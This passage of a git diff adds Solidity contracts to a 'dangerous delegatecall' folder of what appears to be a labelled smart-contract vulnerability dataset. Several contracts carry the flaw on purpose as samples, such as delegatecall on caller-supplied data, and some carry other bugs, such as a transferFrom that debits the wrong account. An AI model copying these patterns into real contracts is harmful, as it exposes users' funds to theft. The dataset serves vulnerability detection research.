indexed to, uint value); + event Approval(address indexed owner, address indexed spender, uint value); +} + + + + + +contract BasicToken is ERC20 { + using SafeMath for uint256; + + uint256 public totalSupply; + mapping (address => mapping (address => uint256)) allowed; + mapping (address => uint256) balances; + + event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); + + + + + function approve(address _spender, uint256 _value) public returns (bool) { + + if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { + revert(); + } + + allowed[msg.sender][_spender] = _value; + + Approval(msg.sender, _spender, _value); + + return true; + } + + + + + + function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + function balanceOf(address _owner) constant public returns (uint256 balance) { + return balances[_owner]; + } + + + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + + Transfer(msg.sender, _to, _value); + + return true; + } + + + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + uint256 _allowance = allowed[_from][msg.sender]; + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + + allowed[_from][msg.sender] = _allowance.sub(_value); + + Transfer(_from, _to, _value); + + return true; + } +} + + + + + +contract ERC223Receiver { + function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok); +} + + + + +contract ERC677 is ERC20 { + function transferAndCall(address to, uint value, bytes data) public returns (bool ok); + + event TransferAndCall(address indexed from, address indexed to, uint value, bytes data); +} + + + + + +contract Standard677Token is ERC677, BasicToken { + + + + + + function transferAndCall(address _to, uint _value, bytes _data) public returns (bool) { + require(super.transfer(_to, _value)); + TransferAndCall(msg.sender, _to, _value, _data); + + if (isContract(_to)) return contractFallback(_to, _value, _data); + return true; + } + + + + + + function contractFallback(address _to, uint _value, bytes _data) private returns (bool) { + ERC223Receiver receiver = ERC223Receiver(_to); + require(receiver.tokenFallback(msg.sender, _value, _data)); + return true; + } + + + + + function isContract(address _addr) private constant returns (bool is_contract) { + + uint length; + assembly { length := extcodesize(_addr) } + return length > 0; + } +} + + + + +contract TokenHolder is Ownable { + + + + function transferAnyERC20Token(address _tokenAddress, uint256 _amount) public onlyOwner returns (bool success) { + return ERC20(_tokenAddress).transfer(owner, _amount); + } +} + + + + + +contract ColuLocalCurrency is Ownable, Standard677Token, TokenHolder { + using SafeMath for uint256; + string public name; + string public symbol; + uint8 public decimals; + string public tokenURI; + + event TokenURIChanged(string newTokenURI); + + + + + + + + function ColuLocalCurrency(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply, string _tokenURI) public { + require(_totalSupply != 0); + require(bytes(_name).length != 0); + require(bytes(_symbol).length != 0); + + totalSupply = _totalSupply; + name = _name; + symbol = _symbol; + decimals = _decimals; + tokenURI = _tokenURI; + balances[msg.sender] = totalSupply; + } + + + + function setTokenURI(string _tokenURI) public onlyOwner { + tokenURI = _tokenURI; + TokenURIChanged(_tokenURI); + } +} + + + + + +contract Standard223Receiver is ERC223Receiver { + Tkn tkn; + + struct Tkn { + address addr; + address sender; + uint256 value; + } + + bool __isTokenFallback; + + modifier tokenPayable { + require(__isTokenFallback); + _; + } + + + + + + function tokenFallback(address _sender, uint _value, bytes _data) external returns (bool ok) { + if (!supportsToken(msg.sender)) { + return false; + } + + + + tkn = Tkn(msg.sender, _sender, _value); + __isTokenFallback = true; + if (!address(this).delegatecall(_data)) { + __isTokenFallback = false; + return false; + } + + + __isTokenFallback = false; + + return true; + } + + function supportsToken(address token) public constant returns (bool); +} + + + + + + +contract TokenOwnable is Standard223Receiver, Ownable { + + modifier onlyTokenOwner() { + require(tkn.sender == owner); + _; + } +} + + + + + + +contract EllipseMarketMaker is TokenOwnable { + + + uint256 public constant PRECISION = 10 ** 18; + + + ERC20 public token1; + ERC20 public token2; + + + uint256 public R1; + uint256 public R2; + + + uint256 public S1; + uint256 public S2; + + + bool public operational; + bool public openForPublic; + + + address public mmLib; + + + function EllipseMarketMaker(address _mmLib, address _token1, address _token2) public { + require(_mmLib != address(0)); + + + bytes4 sig = 0x6dd23b5b; + + + uint256 argsSize = 3 * 32; + + uint256 dataSize = 4 + argsSize; + + + bytes memory m_data = new bytes(dataSize); + + assembly { + + mstore(add(m_data, 0x20), sig) + + mstore(add(m_data, 0x24), _mmLib) + mstore(add(m_data, 0x44), _token1) + mstore(add(m_data, 0x64), _token2) + } + + + require(_mmLib.delegatecall(m_data)); + } + + + + function supportsToken(address token) public constant returns (bool) { + return (token1 == token || token2 == token); + } + + + function() public { + address _mmLib = mmLib; + if (msg.data.length > 0) { + assembly { + calldatacopy(0xff, 0, calldatasize) + let retVal := delegatecall(gas, _mmLib, 0xff, calldatasize, 0, 0x20) + switch retVal case 0 { revert(0,0) } default { return(0, 0x20) } + } + } + } +} + + + + + +contract MarketMaker is ERC223Receiver { + + function getCurrentPrice() public constant returns (uint _price); + function change(address _fromToken, uint _amount, address _toToken) public returns (uint _returnAmount); + function change(address _fromToken, uint _amount, address _toToken, uint _minReturn) public returns (uint _returnAmount); + function change(address _toToken) public returns (uint _returnAmount); + function change(address _toToken, uint _minReturn) public returns (uint _returnAmount); + function quote(address _fromToken, uint _amount, address _toToken) public constant returns (uint _returnAmount); + function openForPublicTrade() public returns (bool success); + function isOpenForPublic() public returns (bool success); + + event Change(address indexed fromToken, uint inAmount, address indexed toToken, uint returnAmount, address indexed account); +} + + + + + +contract IEllipseMarketMaker is MarketMaker { + + + uint256 public constant PRECISION = 10 ** 18; + + + ERC20 public token1; + ERC20 public token2; + + + uint256 public R1; + uint256 public R2; + + + uint256 public S1; + uint256 public S2; + + + bool public operational; + bool public openForPublic; + + + address public mmLib; + + function supportsToken(address token) public constant returns (bool); + + function calcReserve(uint256 _R1, uint256 _S1, uint256 _S2) public pure returns (uint256); + + function validateReserves() public view returns (bool); + + function withdrawExcessReserves() public returns (uint256); + + function initializeAfterTransfer() public returns (bool); + + function initializeOnTransfer() public returns (bool); + + function getPrice(uint256 _R1, uint256 _R2, uint256 _S1, uint256 _S2) public constant returns (uint256); +} + + + + + +contract CurrencyFactory is Standard223Receiver, TokenHolder { + + struct CurrencyStruct { + string name; + uint8 decimals; + uint256 totalSupply; + address owner; + address mmAddress; + } + + + + mapping (address => CurrencyStruct) public currencyMap; + + address public clnAddress; + + address public mmLibAddress; + + address[] public tokens; + + event MarketOpen(address indexed marketMaker); + event TokenCreated(address indexed token, address indexed owner); + + + modifier tokenIssuerOnly(address token, address owner) { + require(currencyMap[token].owner == owner); + _; + } + + modifier CLNOnly() { + require(msg.sender == clnAddress); + _; + } + + + + modifier marketClosed(address _token) { + require(!MarketMaker(currencyMap[_token].mmAddress).isOpenForPublic()); + _; + } + + + + modifier marketOpen(address _token) { + require(MarketMaker(currencyMap[_token].mmAddress).isOpenForPublic()); + _; + } + + + + + function CurrencyFactory(address _mmLib, address _clnAddress) public { + require(_mmLib != address(0)); + require(_clnAddress != address(0)); + mmLibAddress = _mmLib; + clnAddress = _clnAddress; + } + + + + + + + + function createCurrency(string _name, + string _symbol, + uint8 _decimals, + uint256 _totalSupply, + string _tokenURI) public + returns (address) { + + ColuLocalCurrency subToken = new ColuLocalCurrency(_name, _symbol, _decimals, _totalSupply, _tokenURI); + EllipseMarketMaker newMarketMaker = new EllipseMarketMaker(mmLibAddress, clnAddress, subToken); + + require(subToken.transfer(newMarketMaker, _totalSupply)); + require(IEllipseMarketMaker(newMarketMaker).initializeAfterTransfer()); + currencyMap[subToken] = CurrencyStruct({ name: _name, decimals: _decimals, totalSupply: _totalSupply, mmAddress: newMarketMaker, owner: msg.sender}); + tokens.push(subToken); + TokenCreated(subToken, msg.sender); + return subToken; + } + + + + + + + function createCurrency(string _name, + string _symbol, + uint8 _decimals, + uint256 _totalSupply) public + returns (address) { + return createCurrency(_name, _symbol, _decimals, _totalSupply, ''); + } + + + + + + function insertCLNtoMarketMaker(address _token, + uint256 _clnAmount) public + tokenIssuerOnly(_token, msg.sender) + returns (uint256 _subTokenAmount) { + require(_clnAmount > 0); + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(ERC20(clnAddress).transferFrom(msg.sender, this, _clnAmount)); + require(ERC20(clnAddress).approve(marketMakerAddress, _clnAmount)); + _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, _clnAmount, _token); + require(ERC20(_token).transfer(msg.sender, _subTokenAmount)); + } + + + + + function insertCLNtoMarketMaker(address _token) public + tokenPayable + CLNOnly + tokenIssuerOnly(_token, tkn.sender) + returns (uint256 _subTokenAmount) { + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(ERC20(clnAddress).approve(marketMakerAddress, tkn.value)); + _subTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(clnAddress, tkn.value, _token); + require(ERC20(_token).transfer(tkn.sender, _subTokenAmount)); + } + + + + + + function extractCLNfromMarketMaker(address _token, + uint256 _ccAmount) public + tokenIssuerOnly(_token, msg.sender) + returns (uint256 _clnTokenAmount) { + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(ERC20(_token).transferFrom(msg.sender, this, _ccAmount)); + require(ERC20(_token).approve(marketMakerAddress, _ccAmount)); + _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(_token, _ccAmount, clnAddress); + require(ERC20(clnAddress).transfer(msg.sender, _clnTokenAmount)); + } + + + + function extractCLNfromMarketMaker() public + tokenPayable + tokenIssuerOnly(msg.sender, tkn.sender) + returns (uint256 _clnTokenAmount) { + address marketMakerAddress = getMarketMakerAddressFromToken(msg.sender); + require(ERC20(msg.sender).approve(marketMakerAddress, tkn.value)); + _clnTokenAmount = IEllipseMarketMaker(marketMakerAddress).change(msg.sender, tkn.value, clnAddress); + require(ERC20(clnAddress).transfer(tkn.sender, _clnTokenAmount)); + } + + + + + function openMarket(address _token) public + tokenIssuerOnly(_token, msg.sender) + returns (bool) { + address marketMakerAddress = getMarketMakerAddressFromToken(_token); + require(MarketMaker(marketMakerAddress).openForPublicTrade()); + Ownable(marketMakerAddress).requestOwnershipTransfer(msg.sender); + Ownable(_token).requestOwnershipTransfer(msg.sender); + MarketOpen(marketMakerAddress); + return true; + } + + + + function supportsToken(address _token) public constant returns (bool) { + return (clnAddress == _token || currencyMap[_token].totalSupply > 0); + } + + + + + function setTokenURI(address _token, string _tokenURI) public + tokenIssuerOnly(_token, msg.sender) + marketClosed(_token) + returns (bool) { + ColuLocalCurrency(_token).setTokenURI(_tokenURI); + return true; + } + + + + function getMarketMakerAddressFromToken(address _token) public constant returns (address _marketMakerAddress) { + _marketMakerAddress = currencyMap[_token].mmAddress; + require(_marketMakerAddress != address(0)); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/2004.sol b/smart_contract_dataset/dangerous delegatecall/2004.sol new file mode 100644 index 0000000000000000000000000000000000000000..1b28be167c1a184ddaa824570659f9f5845e3549 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/2004.sol @@ -0,0 +1,127 @@ +pragma solidity ^0.4.24; + + + +contract Oracle { + + function isOutcomeSet() public view returns (bool); + function getOutcome() public view returns (int); +} + + + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + constructor(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + } + } +} + + +contract CentralizedBugOracleData { + event OwnerReplacement(address indexed newOwner); + event OutcomeAssignment(int outcome); + + + address public owner; + bytes public ipfsHash; + bool public isSet; + int public outcome; + address public maker; + address public taker; + + + modifier isOwner () { + + require(msg.sender == owner); + _; + } +} + +contract CentralizedBugOracleProxy is Proxy, CentralizedBugOracleData { + + + + constructor(address proxied, address _owner, bytes _ipfsHash, address _maker, address _taker) + public + Proxy(proxied) + { + + require(_ipfsHash.length == 46); + owner = _owner; + ipfsHash = _ipfsHash; + maker = _maker; + taker = _taker; + } +} + +contract CentralizedBugOracle is Proxied,Oracle, CentralizedBugOracleData{ + + + + function setOutcome(int _outcome) + public + isOwner + { + + require(!isSet); + _setOutcome(_outcome); + } + + + + function isOutcomeSet() + public + view + returns (bool) + { + return isSet; + } + + + + function getOutcome() + public + view + returns (int) + { + return outcome; + } + + + + function _setOutcome(int _outcome) internal { + isSet = true; + outcome = _outcome; + emit OutcomeAssignment(_outcome); + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/20625.sol b/smart_contract_dataset/dangerous delegatecall/20625.sol new file mode 100644 index 0000000000000000000000000000000000000000..989400eb1ad1020fe3abf4ecc1685f564c349dbc --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/20625.sol @@ -0,0 +1,333 @@ +pragma solidity ^0.4.21; + + + + + +contract ERC20Interface { + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint256 _value) public returns (bool); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + + + + +contract ERC223Interface { + uint public totalSupply; + function balanceOf(address who) constant public returns (uint); + function transfer(address to, uint value, bytes data) public returns (bool success); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} +contract ELTTokenType { + uint public decimals; + uint public totalSupply; + + mapping(address => uint) balances; + + mapping(address => uint) timevault; + mapping(address => mapping(address => uint)) allowed; + + + bool public released; + + + uint public releaseFinalizationDate; +} +contract ContractReceiver { + struct TKN { + address sender; + uint value; + bytes data; + bytes4 sig; + } + + function tokenFallback(address _from, uint _value, bytes _data) public pure { + TKN memory tkn; + tkn.sender = _from; + tkn.value = _value; + tkn.data = _data; + uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); + tkn.sig = bytes4(u); + + + } +} + +contract owned { + address public owner; + + function owned() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) onlyOwner public { + owner = newOwner; + } +} + + +library SafeMath { + function mul(uint a, uint b) internal pure returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} +contract ERC20Token is ERC20Interface, ERC223Interface, ELTTokenType { + using SafeMath for uint; + + function transfer(address _to, uint _value) public returns (bool success) { + bytes memory empty; + return transfer(_to, _value, empty); + } + + + function transfer(address _to, uint _value, bytes _data) public returns (bool success) { + + if (isContract(_to)) { + return transferToContract(_to, _value, _data, false); + } + else { + return transferToAddress(_to, _value, _data, false); + } + } + + + function approve(address _spender, uint _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint remaining) { + return allowed[_owner][_spender]; + } + + + + function balanceOf(address _owner) public constant returns (uint balance) { + return balances[_owner]; + } + + function isContract(address _addr) private view returns (bool is_contract) { + uint length; + assembly + { + + length := extcodesize(_addr) + } + return (length > 0); + } + + + + function transferToAddress(address _to, uint _value, bytes _data, bool withAllowance) private returns (bool success) { + transferIfRequirementsMet(msg.sender, _to, _value, withAllowance); + emit Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transferToContract(address _to, uint _value, bytes _data, bool withAllowance) private returns (bool success) { + transferIfRequirementsMet(msg.sender, _to, _value, withAllowance); + ContractReceiver receiver = ContractReceiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + emit Transfer(msg.sender, _to, _value, _data); + return true; + } + + function checkTransferRequirements(address _from, address _to, uint _value) private view { + require(_to != address(0)); + require(released == true); + require(now > releaseFinalizationDate); + if (timevault[msg.sender] != 0) + { + require(now > timevault[msg.sender]); + } + if (balanceOf(_from) < _value) revert(); + } + + function transferIfRequirementsMet(address _from, address _to, uint _value, bool withAllowances) private { + checkTransferRequirements(_from, _to, _value); + if ( withAllowances) + { + require (_value <= allowed[_from][msg.sender]); + } + balances[_from] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + } + + function transferFrom(address from, address to, uint value) public returns (bool) { + bytes memory empty; + if (isContract(to)) { + return transferToContract(to, value, empty, true); + } + else { + return transferToAddress(to, value, empty, true); + } + allowed[from][msg.sender] = allowed[from][msg.sender].sub(value); + return true; + } +} +contract TimeVaultInterface is ERC20Interface, ERC223Interface { + function timeVault(address who) public constant returns (uint); + function getNow() public constant returns (uint); + function transferByOwner(address to, uint _value, uint timevault) public returns (bool); +} +contract TimeVaultToken is owned, ERC20Token, TimeVaultInterface { + function transferByOwner(address to, uint value, uint earliestReTransferTime) onlyOwner public returns (bool) { + transfer(to, value); + timevault[to] = earliestReTransferTime; + return true; + } + + function timeVault(address owner) public constant returns (uint earliestTransferTime) { + return timevault[owner]; + } + + function getNow() public constant returns (uint blockchainTimeNow) { + return now; + } + +} +contract StandardToken is TimeVaultToken { + + function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} +contract StandardTokenExt is StandardToken { + + + function isToken() public pure returns (bool weAre) { + return true; + } +} +contract VersionedToken is owned { + address public upgradableContractAddress; + + function VersionedToken(address initialVersion) public { + upgradableContractAddress = initialVersion; + } + + function update(address newVersion) onlyOwner public { + upgradableContractAddress = newVersion; + } + + function() public { + address upgradableContractMem = upgradableContractAddress; + bytes memory functionCall = msg.data; + + assembly { + + let functionCallSize := mload(functionCall) + + + let functionCallDataAddress := add(functionCall, 0x20) + + + let functionCallResult := delegatecall(gas, upgradableContractMem, functionCallDataAddress, functionCallSize, 0, 0) + + let freeMemAddress := mload(0x40) + + switch functionCallResult + case 0 { + + revert(freeMemAddress, 0) + } + default { + + returndatacopy(freeMemAddress, 0x0, returndatasize) + + return (freeMemAddress, returndatasize) + } + } + } +} +contract ELTToken is VersionedToken, ELTTokenType { + string public name; + string public symbol; + + function ELTToken(address _owner, string _name, string _symbol, uint _totalSupply, uint _decimals, uint _releaseFinalizationDate, address _initialVersion) VersionedToken(_initialVersion) public { + name = _name; + symbol = _symbol; + totalSupply = _totalSupply; + decimals = _decimals; + + + balances[_owner] = _totalSupply; + + releaseFinalizationDate = _releaseFinalizationDate; + released = false; + } +} +contract ELTTokenImpl is StandardTokenExt { + + event UpdatedTokenInformation(string newName, string newSymbol); + + string public name; + string public symbol; + + function ELTTokenImpl() public { + } + + + function releaseTokenTransfer(bool _value) onlyOwner public { + released = _value; + } + + function setreleaseFinalizationDate(uint _value) onlyOwner public { + releaseFinalizationDate = _value; + } + + + function setTokenInformation(string _name, string _symbol) onlyOwner public { + name = _name; + symbol = _symbol; + emit UpdatedTokenInformation(name, symbol); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/20740.sol b/smart_contract_dataset/dangerous delegatecall/20740.sol new file mode 100644 index 0000000000000000000000000000000000000000..fd00869229e91ca082f5549c305b681eeeb95179 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/20740.sol @@ -0,0 +1,104 @@ +pragma solidity ^0.4.18; + + + +contract Proxy { + function implementation() public view returns (address); + + + function () payable public { + address impl = implementation(); + require(impl != address(0)); + bytes memory data = msg.data; + + assembly { + let result := delegatecall(gas, impl, add(data, 0x20), mload(data), 0, 0) + let size := returndatasize + + let ptr := mload(0x40) + returndatacopy(ptr, 0, size) + + } + } +} + + + +contract Ownable { + address[] public owners; + + event OwnerAdded(address indexed authorizer, address indexed newOwner, uint256 index); + + event OwnerRemoved(address indexed authorizer, address indexed oldOwner); + + + function Ownable() public { + owners.push(msg.sender); + OwnerAdded(0x0, msg.sender, 0); + } + + + modifier onlyOwner() { + bool isOwner = false; + + for (uint256 i = 0; i < owners.length; i++) { + if (msg.sender == owners[i]) { + isOwner = true; + break; + } + } + + require(isOwner); + _; + } + + + function addOwner(address newOwner) onlyOwner public { + require(newOwner != address(0)); + uint256 i = owners.push(newOwner) - 1; + OwnerAdded(msg.sender, newOwner, i); + } + + + function removeOwner(uint256 index) onlyOwner public { + address owner = owners[index]; + owners[index] = owners[owners.length - 1]; + delete owners[owners.length - 1]; + OwnerRemoved(msg.sender, owner); + } + + function ownersCount() constant public returns (uint256) { + return owners.length; + } +} + + +contract UpgradableStorage is Ownable { + + + address internal _implementation; + + event NewImplementation(address implementation); + + + function implementation() public view returns (address) { + return _implementation; + } +} + + + +contract Upgradable is UpgradableStorage { + function initialize() public payable { } +} + + +contract KnowledgeProxy is Proxy, UpgradableStorage { + + function upgradeTo(address imp) onlyOwner public payable { + _implementation = imp; + Upgradable(this).initialize.value(msg.value)(); + + NewImplementation(imp); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/21312.sol b/smart_contract_dataset/dangerous delegatecall/21312.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/21312.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/21313.sol b/smart_contract_dataset/dangerous delegatecall/21313.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/21313.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/21314.sol b/smart_contract_dataset/dangerous delegatecall/21314.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/21314.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/22229.sol b/smart_contract_dataset/dangerous delegatecall/22229.sol new file mode 100644 index 0000000000000000000000000000000000000000..2cbfec4f0eea587655058113fcaa594bdcac2972 --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/22229.sol @@ -0,0 +1,233 @@ +pragma solidity ^0.4.15; + + +contract MultiSigStub { + + address[] public owners; + address[] public tokens; + mapping (uint => Transaction) public transactions; + mapping (uint => mapping (address => bool)) public confirmations; + uint public transactionCount; + + struct Transaction { + address destination; + uint value; + bytes data; + bool executed; + } + + function MultiSigStub(address[] _owners, uint256 _required) { + + bytes4 sig = 0x36756a23; + uint argarraysize = (2 + _owners.length); + uint argsize = (1 + argarraysize) * 32; + uint size = 4 + argsize; + bytes32 mData = _malloc(size); + + assembly { + mstore(mData, sig) + codecopy(add(mData, 0x4), sub(codesize, argsize), argsize) + } + _delegatecall(mData, size); + } + + modifier delegated { + uint size = msg.data.length; + bytes32 mData = _malloc(size); + + assembly { + calldatacopy(mData, 0x0, size) + } + + bytes32 mResult = _delegatecall(mData, size); + _; + assembly { + return(mResult, 0x20) + } + } + + function() + payable + delegated + { + + } + + function submitTransaction(address destination, uint value, bytes data) + public + delegated + returns (uint) + { + + } + + function confirmTransaction(uint transactionId) + public + delegated + { + + } + + function watch(address _tokenAddr) + public + delegated + { + + } + + function setMyTokenList(address[] _tokenList) + public + delegated + { + + } + + + + function isConfirmed(uint transactionId) + public + constant + delegated + returns (bool) + { + + } + + + function tokenBalances(address tokenAddress) + public + constant + delegated + returns (uint) + { + + } + + + + + + function getConfirmationCount(uint transactionId) + public + constant + delegated + returns (uint) + { + + } + + + + + + function getTransactionCount(bool pending, bool executed) + public + constant + delegated + returns (uint) + { + + } + + + + function getOwners() + public + constant + returns (address[]) + { + return owners; + } + + + + function getTokenList() + public + constant + returns (address[]) + { + return tokens; + } + + + + + function getConfirmations(uint transactionId) + public + constant + returns (address[] _confirmations) + { + address[] memory confirmationsTemp = new address[](owners.length); + uint count = 0; + uint i; + for (i = 0; i < owners.length; i++) { + if (confirmations[transactionId][owners[i]]) { + confirmationsTemp[count] = owners[i]; + count += 1; + } + } + _confirmations = new address[](count); + for (i = 0; i < count; i++) { + _confirmations[i] = confirmationsTemp[i]; + } + } + + + + + + + + function getTransactionIds(uint from, uint to, bool pending, bool executed) + public + constant + returns (uint[] _transactionIds) + { + uint[] memory transactionIdsTemp = new uint[](transactionCount); + uint count = 0; + uint i; + for (i = 0; i < transactionCount; i++) { + if (pending && !transactions[i].executed || executed && transactions[i].executed) { + transactionIdsTemp[count] = i; + count += 1; + } + } + _transactionIds = new uint[](to - from); + for (i = from; i < to; i++) { + _transactionIds[i - from] = transactionIdsTemp[i]; + } + } + + + function _malloc(uint size) + private + returns(bytes32 mData) + { + assembly { + mData := mload(0x40) + mstore(0x40, add(mData, size)) + } + } + + function _delegatecall(bytes32 mData, uint size) + private + returns(bytes32 mResult) + { + address target = 0xc0FFeEE61948d8993864a73a099c0E38D887d3F4; + mResult = _malloc(32); + delegatecall(sub(gas, 10000), target, mData, size, mResult, 0x20) + + } + +} + +contract MultiSigFactory { + + event Create(address indexed caller, address createdContract); + + function create(address[] owners, uint256 required) returns (address wallet){ + wallet = new MultiSigStub(owners, required); + Create(msg.sender, wallet); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/22344.sol b/smart_contract_dataset/dangerous delegatecall/22344.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/22344.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function DutchExchangeProxy(address _masterCopy) Proxy (_masterCopy) { + } +} \ No newline at end of file diff --git a/smart_contract_dataset/dangerous delegatecall/22345.sol b/smart_contract_dataset/dangerous delegatecall/22345.sol new file mode 100644 index 0000000000000000000000000000000000000000..1ccd6eb62b064e51cd9e58277f8a84fa84810aca --- /dev/null +++ b/smart_contract_dataset/dangerous delegatecall/22345.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.4.21; + + + + + +contract Proxied { + address public masterCopy; +} + + + +contract Proxy is Proxied { + + + function Proxy(address _masterCopy) + public + { + require(_masterCopy != 0); + masterCopy = _masterCopy; + } + + + function () + external + payable + { + address _masterCopy = masterCopy; + assembly { + calldatacopy(0, 0, calldatasize()) + let success := delegatecall(not(0), _masterCopy, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch success + case 0 { revert(0, returndatasize()) } + default { return(0, returndatasize()) } + } + } +} + + + +contract DutchExchangeProxy is Proxy { + function 